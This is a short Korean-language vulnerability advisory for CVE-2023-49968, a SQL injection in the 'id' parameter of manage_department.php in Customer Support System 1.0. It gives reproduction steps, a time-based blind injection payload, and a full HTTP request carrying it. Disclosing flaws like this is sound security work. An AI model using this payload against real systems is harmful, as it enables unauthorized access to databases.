
고객 지원 시스템 1.0 - manage_department.php의 "id" URL 매개변수를 통한 SQL 인젝션 취약점
설명: Customer Support System 버전 1에 SQL 인젝션 취약점이 존재합니다. 악의적인 공격자는 부서를 편집하는 동안 'id' URL 매개변수를 조작하여 MySQL 데이터베이스에서 SQL 명령을 실행할 수 있습니다.
취약한 제품 버전: Customer Support System 1.0
CVE 작성자: Geraldo Alcântara
날짜: 28/11/2023
확인 날짜: 19/12/2023
CVE: CVE-2023-49968
테스트 환경: Windows
1- 애플리케이션에 로그인합니다.
2- 부서 편집 페이지로 이동하여 "Action" 버튼을 클릭하고 "Edit"를 선택합니다.
3- 'id' 매개변수가 전달되어 악성 페이로드를 삽입할 수 있게 됩니다.
페이로드: (select*from(select(sleep(5)))a)
GET /customer_support/manage_department.php?id=(select*from(select(sleep(5)))a) HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
발견자/크레딧:
Geraldo Alcântara